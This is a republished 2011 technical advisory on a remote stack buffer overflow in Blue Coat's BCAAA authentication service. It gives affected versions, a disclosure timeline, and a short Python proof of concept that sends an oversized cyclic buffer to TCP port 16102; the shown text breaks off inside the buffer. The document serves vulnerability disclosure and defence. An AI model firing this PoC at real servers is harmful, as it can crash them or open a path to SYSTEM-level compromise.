Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26638
HistoryJul 11, 2011 - 12:00 a.m.

NGS00060 Technical Advisory: Blue Coat BCAAA Remote Code Execution Vulnerability

2011-07-1100:00:00
vulners.com
28

=======
Summary

Name: Blue Coat BCAAA Remote Code Execution Vulnerability
Release Date: 5 July 2011
Reference: NGS00060
Discoverer: Paul Harrington <[email protected]>
Vendor: Blue Coat Systems Inc
Vendor Reference: 2-358686722
Systems Affected: All versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3,
5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All
versions of BCAAA associated with ProxyOne are also vulnerable
Risk: High
Status: Published

========
TimeLine

Discovered: 10 March 2011
Released: 10 March 2011
Approved: 10 March 2011
Reported: 11 March 2011
Fixed: 4 April 2011
Published: 5 July 2011

===========
Description

The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is
installed on a domain server (not necessarily a domain controller, a member server is enough)
and acts as an intermediary between a Blue Coat ProxySG and the domain.
The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to
remote code execution running with SYSTEM privileges.

=================
Technical Details

Sending a large buffer to TCP port 16102 causes a stack-based buffer overflow in the
bcaaa-130.exe process.

A simple Proof-of-Concept is presented here:

#!/usr/bin/python

import socket
import time

host="10.0.0.1"
port=16102

buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2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